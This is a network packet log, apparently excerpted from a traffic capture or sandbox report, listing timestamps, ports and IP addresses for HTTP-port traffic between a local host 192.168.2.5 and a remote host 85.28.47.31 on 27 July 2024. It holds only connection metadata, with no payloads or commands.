Jul 27, 2024 09:25:05.452116966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452124119 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452156067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452168941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452207088 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452207088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452244997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452250004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452276945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452291012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452308893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452327013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452342987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452352047 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452377081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452389002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452410936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452434063 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452444077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452455044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452476025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452534914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452534914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452542067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452579975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452588081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452613115 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452626944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452646017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452678919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452680111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452694893 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452712059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452723026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452763081 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.452771902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452804089 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452837944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452871084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452904940 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452936888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452970028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.452986002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453001976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453017950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453052998 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453052998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453085899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453115940 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453119040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453135014 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453152895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453180075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453188896 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453202009 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453203917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453222036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453233957 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453237057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453253031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453255892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453255892 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453272104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453282118 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453289032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453296900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453304052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453315973 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453321934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453330994 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453336954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453350067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453352928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453368902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453376055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453376055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453406096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453407049 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453421116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453435898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453452110 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453464031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453466892 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453480005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453484058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453505993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453505993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453524113 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453556061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453602076 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453710079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453726053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453741074 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453754902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453757048 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453773975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453774929 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453789949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453800917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453800917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453805923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453820944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453820944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453835964 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453846931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453846931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453871012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453871012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453896999 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453912020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.453948975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.453948975 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454144955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454160929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454175949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454190969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454190969 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454206944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454206944 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454227924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454232931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454232931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454252005 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454269886 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454297066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454313040 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454327106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454340935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454341888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454358101 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454363108 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454375029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454381943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454381943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454391003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454401970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454407930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454421997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454422951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454447985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454447985 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454451084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454466105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454472065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454482079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454511881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454511881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454530001 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454885960 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454901934 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454916954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454932928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454943895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454948902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454960108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454967976 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454976082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.454989910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.454993010 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455008030 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455008984 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455023050 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455025911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455048084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455048084 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455065966 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455276012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455291986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455317974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455321074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455333948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455341101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455348969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455360889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455364943 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455379963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455380917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455396891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455399990 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455414057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455418110 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455430031 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455440044 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455440998 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455446005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455461025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455461979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.455487013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455487013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.455508947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544123888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544195890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544248104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544285059 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544320107 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544318914 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544320107 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544353008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544387102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544437885 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544471979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544559002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544593096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544626951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544631958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544631958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544631958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544660091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544665098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544712067 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544745922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544795990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544833899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544866085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544873953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544873953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544873953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544873953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544873953 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544898033 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544913054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544914007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544931889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544949055 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544966936 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.544981956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.544998884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545017004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545044899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545049906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545077085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545109034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545111895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545111895 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545142889 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545154095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545193911 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545195103 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545228004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545243025 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545263052 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545290947 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545295954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545310020 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545350075 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545351028 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545384884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545401096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545422077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545437098 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545454979 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545480013 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545489073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545511007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545521975 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545557022 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545557022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545576096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545591116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545608997 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545624971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545650959 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545658112 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545674086 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545691013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545707941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545722961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545742989 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545758009 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545773029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545793056 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545806885 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545828104 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545845032 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545861006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545876026 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545896053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.545908928 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.545949936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546173096 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546205044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546238899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546251059 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546252012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546271086 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546287060 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546312094 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546323061 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546371937 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546376944 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546405077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546431065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546436071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546452999 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546473980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546506882 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546513081 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546525002 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546562910 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546566963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546600103 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546626091 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546633959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546643972 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546667099 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546681881 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546701908 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546721935 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546734095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546761036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546767950 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546782970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546799898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546817064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546834946 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546850920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546866894 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546886921 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546911955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546932936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546945095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546957016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.546979904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.546998978 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547013044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547029018 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547061920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547065020 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547097921 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547125101 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547132015 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 09:25:05.547139883 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 09:25:05.547163963 CEST	80	49704	85.28.47.31	192.168.2.5
